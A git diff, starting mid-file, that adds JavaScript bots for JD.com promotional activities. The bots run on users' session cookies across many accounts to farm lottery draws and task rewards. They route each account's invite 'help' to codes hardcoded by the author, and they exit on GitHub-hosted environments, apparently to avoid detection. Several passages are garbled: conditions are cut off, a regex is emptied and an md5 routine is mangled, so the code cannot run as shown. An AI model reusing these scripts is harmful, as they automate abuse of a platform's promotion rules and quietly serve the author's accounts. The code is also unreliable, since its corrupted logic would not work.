e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_super_box.js b/activity/jd_super_box.js new file mode 100644 index 0000000..af67e11 --- /dev/null +++ b/activity/jd_super_box.js @@ -0,0 +1,511 @@ +/* +京东超级盒子 +活动时间:未知 +更新地址:jd_super_box.js +活动入口:https://prodev.m.jd.com/mall/active/21uMxFV5yiP4ivdSbmHqv5f2aXFK/index.html?tttparams=TiOY=woeyJnTG5nIjoiMTIwLjg3NTY0MSIsImdMYXQiOiIzMS4yODMxMzYifQ7== +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东超级盒子 +20 7 * * * jd_super_box.js, tag=京东超级盒子, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 7 * * *" script-path=jd_super_box.js,tag=京东超级盒子 + +===============Surge================= +京东超级盒子 = type=cron,cronexp="20 7 * * *",wake-system=1,timeout=3600,script-path=jd_super_box.js + +============小火箭========= +京东超级盒子 = type=cron,script-path=jd_super_box.js, cronexpr="20 7 * * *", timeout=3600, enable=true +*/ +const $ = new Env('京东超级盒子'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +const randomCount = $.isNode() ? 20 : 5; + +const inviteCodes = [ + `O3eI2LwEpHNofuF6LxjNqw@Hvm2Tg0jWloh4bnPOa9wuA@RY7V2DbS5uInv_GGD7JuoQij_0m9TAUe-t_mpE-BHB4@dZGLTyomKT0ZmOYaa4FSu0Ch0ywXFSW7gXwe_z6nUFc@UHW6hnmrpOABeMMKc5kpng`, + `O3eI2LwEpHNofuF6LxjNqw@Hvm2Tg0jWloh4bnPOa9wuA@RY7V2DbS5uInv_GGD7JuoQij_0m9TAUe-t_mpE-BHB4@dZGLTyomKT0ZmOYaa4FSu0Ch0ywXFSW7gXwe_z6nUFc@UHW6hnmrpOABeMMKc5kpng`, +]; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await superBox() + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + message += `本次运行获得${$.earn}红包` + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + const helpRes = await doSupport(code); + await $.wait(1000) + } +} + +async function superBox() { + $.earn = 0.0 + await drawInfo() + await getTask() + await drawInfo(false) + await helpFriends() +} + + +function getTask() { + return new Promise(resolve => { + $.get(taskUrl('apTaskList',{"linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":""}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + for(let vo of data.data){ + if(vo.taskType==='BROWSE_SHOP'){ + if(vo.taskDoTimes { + $.get(taskUrl('apTaskDetail',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + $.canDone = true + for(let vo of data.data.taskItemList){ + await doTask(taskId,taskType,vo.itemId) + if(!$.canDone) break + await $.wait(1000) + } + } else { + console.log(`任务获取失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function doTask(taskId,taskType,itemId) { + let body = { + "taskId":taskId, + "taskType":taskType, + "channel":4, + "itemId":itemId, + "linkId":"xrfyA3nByKnAd7qxzmURNQ", + "encryptPin":"" + } + return new Promise(resolve => { + $.post(taskPostUrl('apDoTask',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + + if (data.success) { + console.log(`任务完成成功`) + } else { + $.canDone = false + console.log(`任务完成失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function drawInfo(share=true) { + let body = {"taskId":"","linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":""} + return new Promise(resolve => { + $.get(taskUrl('superboxSupBoxHomePage',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + if(share) { + console.log(`您的好友助力码为${data.data.encryptPin}`) + } + else { + console.log(`剩余抽奖次数${data.data.lotteryNumber}`) + let i = data.data.lotteryNumber + if (i) console.log(`去抽奖`) + while (i--) { + await draw() + await $.wait(1000) + } + } + } else { + console.log(`抽奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function draw() { + let body = {"taskId":"","linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":""} + return new Promise(resolve => { + $.get(taskUrl('superboxOrdinaryLottery',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + if(data.data.discount) { + if(data.data.rewardType===2) { + $.earn += parseFloat(data.data.discount) + console.log(`获得${data.data.discount}红包`) + }else{ + console.log(`获得优惠券`) + } + } + else + console.log(`获得空气`) + } else { + console.log(`抽奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doSupport(shareId) { + let body = {"taskId":"61","linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":shareId} + return new Promise(resolve => { + $.get(taskUrl('superboxSupBoxHomePage',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log(`助力成功`) + } else { + console.log(`助力失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} + +function taskPostUrl(function_id, body = {}) { + const t = getTs() + return { + url: `${JD_API_HOST}`, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${t}&appid=activities_platform`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://prodev.m.jd.com", + "Cookie": cookie, + 'dnt': '1', + 'pragma': 'no-cache', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function taskUrl(function_id, body = {}) { + const t = getTs() + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${t}&appid=activities_platform`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDSUPERBOX_SHARECODES) { + if (process.env.JDSUPERBOX_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDSUPERBOX_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDSUPERBOX_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}PK助力码\n`); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null // await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/festival/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个PK助力码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_tcl.js b/activity/jd_tcl.js new file mode 100644 index 0000000..451d850 --- /dev/null +++ b/activity/jd_tcl.js @@ -0,0 +1,472 @@ +// author:疯疯 +/* +球队赢好礼 +默认:不加购物车,不注册店铺会员卡。 +活动地址:https://mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct?id=tclTeamAct002&user_id=10299171 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#球队赢好礼 +10 1 * * * jd_tcl.js, tag=球队赢好礼, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true +=================Loon=============== +[Script] +cron "10 1 * * *" script-path=jd_tcl.js,tag=球队赢好礼 +=================Surge============== +[Script] +球队赢好礼 = type=cron,cronexp="10 1 * * *",wake-system=1,timeout=3600,script-path=jd_tcl.js + +============小火箭========= +球队赢好礼 = type=cron,script-path=jd_tcl.js, cronexpr="10 1 * * *", timeout=3600, enable=true +*/ + +const $ = new Env("球队赢好礼"); +const notify = $.isNode() ? require("./sendNotify") : ""; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const sck = $.isNode() ? "set-cookie" : "Set-Cookie"; +let cookiesArr = [], + cookie = "", + message; +let shareUUID= [ + '262AD0499F3DBB829A73A2D6A7C9B4F32616D531C3528AC13306F568F805BCBC98C78860AD2DDA6EACB606811A93B977D5541778D6BA2AAA3F72022FEF371B086688517369194A1C9489E6861B365E9DCC404E4905CE4ACDDDB48F49F13BFF8E', + '262AD0499F3DBB829A73A2D6A7C9B4F32616D531C3528AC13306F568F805BCBC98C78860AD2DDA6EACB606811A93B977D5541778D6BA2AAA3F72022FEF371B086688517369194A1C9489E6861B365E9DCC404E4905CE4ACDDDB48F49F13BFF8E' +] +let isPurchaseShops = false +isPurchaseShops = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : isPurchaseShops) : ($.getdata("isPurchaseShops") ? $.getdata("isPurchaseShops") : isPurchaseShops); + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...jsonParse($.getdata("CookiesJD") || "[]").map((item) => item.cookie), + ].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + { "open-url": "https://bean.m.jd.com/" } + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await genToken(); + await isvObfuscator(); + await setCookie(); + await main() + } + } + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${message}\n\n如需做注册店铺会员任务,请点击下方链接手动完成\nhttps%3A%2F%2Fmpdz-isv.isvjcloud.com%2Fql%2Ffront%2Ftcl002%2FloadTclAct%3Fid%3DtclTeamAct002%26user_id%3D10299171\n\nhttps://mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct?id=tclTeamAct002&user_id=10299171`); +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +function showMsg() { + return new Promise(resolve => { + $.log($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +async function main() { + await loadAct() + await helpFriend(shareUUID[Math.floor(Math.random() * 2)]) + await sign() + await $.wait(1000) + await getShopList() + if (isPurchaseShops) await getGoodsList() + await browse() + await $.wait(1000) + await browse(1) + await $.wait(1000) + await draw() +} + +function helpFriend(inviterNickAes = '4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1') { + return new Promise((resolve) => { + $.post(taskUrl('/ql/front/tcl002/helpFriend', `inviterNickAes=${inviterNickAes}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = $.toObj(data) + console.log(data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function loadAct() { + return new Promise((resolve) => { + $.get(taskGetUrl(), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + //console.log(data) + let id = data.match(//) + //console.log('好友助力码' + id[1]) + if (data.indexOf('
